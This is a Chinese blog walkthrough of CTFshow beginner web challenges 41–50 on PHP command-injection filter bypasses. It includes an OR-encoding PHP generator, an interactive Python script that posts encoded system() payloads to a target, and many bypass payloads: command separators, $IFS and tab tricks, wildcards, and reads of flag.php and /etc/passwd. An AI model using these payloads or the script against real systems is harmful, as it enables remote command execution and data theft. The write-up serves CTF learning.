> 文章列表 > 《CTFshow - Web入门》05. Web 41~50

《CTFshow - Web入门》05. Web 41~50

《CTFshow - Web入门》05. Web 41~50

Web 41~50

  • web41
  • web42
    • 知识点
    • 题解
  • web43
    • 知识点
    • 题解
  • web44
    • 知识点
    • 题解
  • web45
    • 知识点
    • 题解
  • web46
    • 知识点
    • 题解
  • web47
    • 题解
  • web48
    • 题解
  • web49
    • 知识点
    • 题解
  • web50
    • 知识点
    • 题解

ctf - web入门

web41

这一题参考了其他师傅的writeup:
ctfshow web入门 web41
CTFshow wbe41 教你写脚本
以及bilibili上的官方讲解:CTFshow-web入门-命令执行
震惊我这个小白一整年。
视频讲的挺清楚的,这里只记录一些理论知识了。

知识点

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
  • url编解码
  • 或运算 构造字符串
  • 示例如下:
如构造一个 (system)('ls')("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

题解

过滤了数字和字母,以及 $、+、-、^、~ 
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |

《CTFshow - Web入门》05. Web 41~50
我们可以尝试从ascii为0-255的字符中,找到能够通过 或运算 得到的可用字符及相应url编码。

方法一

先通过以下php脚本生成一个rce_or.txt,内容是上述可用字符及编码

rce_or.php内容:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

再通过以下自动化脚本传参并执行想执行的命令
到这一步其实就是用python主动提交payload
用法 python exp.py url地址

exp.py代码:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("="*50)exit(0)
url=argv[1]
def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\\""+s1+"\\"|\\""+s2+"\\")"return(output)while True:param=action(input("\\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\\n[*] result:\\n"+r.text)

可以如下图先运行php脚本先生成txt文件

《CTFshow - Web入门》05. Web 41~50
然后运行python脚本

《CTFshow - Web入门》05. Web 41~50
最后输入相应指令即可获得flag

《CTFshow - Web入门》05. Web 41~50

方法二

以上相当于使用python自动化脚本。当然也可以用上述得到的txt可用字符手动构造。

用burp拦截,然后转为post请求来传递一下参数。
先根据上述的知识来传递一下 (system)(‘ls’) 看看

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

《CTFshow - Web入门》05. Web 41~50
看到有回显了。那就构造 (system)(cat flag.php)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

得手了

《CTFshow - Web入门》05. Web 41~50

web42

知识点

>/dev/null 2>&1 命令表示不回显。

参考文章:Shell脚本/dev/null 2>&1详解

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url编码)将其分隔。

题解

《CTFshow - Web入门》05. Web 41~50

方法一

url + ?c=cat flag.php ||

查看源码获取flag。

《CTFshow - Web入门》05. Web 41~50

方法二

直接让拼接的命令换行。

url + ?c=cat flag.php%0a

《CTFshow - Web入门》05. Web 41~50

web43

知识点

和 web42 差不多。
>/dev/null 2>&1 命令表示不回显。

题解

这道题在 web42 的基础上过滤了 cat 字符串和其他一些符号。

《CTFshow - Web入门》05. Web 41~50

换一个命令,且使用换行符的url编码让 >/dev/null 2>&1 换行

url + ?c=nl flag.php%0a

《CTFshow - Web入门》05. Web 41~50

使用其他命令如 tac 也可以。

web44

知识点

>/dev/null 2>&1 命令表示不回显。
依旧是有关 linux 的命令与通配符。

题解

看题,可以简单使用通配符绕过。

《CTFshow - Web入门》05. Web 41~50
方法一

url + ?c=tac fl*%0A

《CTFshow - Web入门》05. Web 41~50

方法二

当然也可以如下,结果都一样。

url + ?c=tac fl''ag.php||

web45

知识点

linux适用空格绕过:
<<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS{cat,/etc/passwd}
%0a(回车)

题解

多过滤了一个空格。

《CTFshow - Web入门》05. Web 41~50

使用 %09 绕过即可

url + ?c=tac%09fl''ag.php||

《CTFshow - Web入门》05. Web 41~50

web46

知识点

linux 通配符 “ * ”,“ ? ”。
除此以外还有符号绕过。

题解

比之前多过滤了 “ * ”。

《CTFshow - Web入门》05. Web 41~50

法一,符号绕过。

url + ?c=tac%09fl''ag.php||

法二,通配符 “ ? ”。

url + ?c=tac%09fl?g.php||

web47

依旧是 Linux 命令考察。

题解

比之前多过滤了一些命令。

《CTFshow - Web入门》05. Web 41~50

解:

url + ?c=nl%09fl''ag.php||

同理,其他命令也可。

web48

依旧与上题差别不大。

题解

《CTFshow - Web入门》05. Web 41~50

解:

url + ?c=nl%09fl''ag.php||

web49

知识点

linux适用空格绕过:
<<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS{cat,/etc/passwd}
%0a(回车)

题解

过滤了 “ % ”。但空格绕过方法有很多。

《CTFshow - Web入门》05. Web 41~50

题解:

url + ?c=tac<fla''g.php||

web50

知识点

x09 为 tab键。x26为 “ & ”。

tab可以代替空格,& 是连接符。

题解

多过滤了 tab 键与 “ & ”。

《CTFshow - Web入门》05. Web 41~50

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%|\\x09|\\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

虽然但是,可沿用之前的 payload:

url + ?c=tac<>fl''ag.php||

若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白